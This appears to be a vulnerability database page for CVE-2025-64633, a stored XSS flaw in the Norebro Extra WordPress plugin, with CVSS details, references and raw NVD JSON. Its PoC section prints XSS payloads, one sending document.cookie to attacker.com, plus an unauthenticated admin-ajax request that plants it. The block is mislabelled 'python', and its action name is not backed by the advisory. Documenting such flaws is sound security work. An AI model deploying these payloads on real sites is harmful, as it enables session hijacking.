CVE-2025-64633

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in colabrio Norebro Extra norebro-extra allows Code Injection.This issue affects Norebro Extra: from n/a through <= 1.6.8.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Norebro Extra <= 1.6.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64633 PoC: Stored XSS in Norebro Extra WordPress Plugin -->
<!-- Replace TARGET_URL with the vulnerable WordPress site URL -->

<!-- Method 1: Using script tag -->
<script>alert(document.cookie)</script>

<!-- Method 2: Using img onerror event -->
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

<!-- Method 3: Using SVG onload event -->
<svg onload=eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))></svg>

<!-- PoC Exploit Request -->
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET_URL
Content-Type: application/x-www-form-urlencoded

action=norebro_extra_save_option&option_name=footer_code&option_value=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64633
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64633
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64633/
[4] VulDB https://vuldb.com/cve/CVE-2025-64633
[5] https://patchstack.com/database/Wordpress/Plugin/norebro-extra/vulnerability/wordpress-norebro-extra-plugin-1-6-8-content-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64633", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:55.600", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in colabrio Norebro Extra norebro-extra allows Code Injection.This issue affects Norebro Extra: from n/a through <= 1.6.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/norebro-extra/vulnerability/wordpress-norebro-extra-plugin-1-6-8-content-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}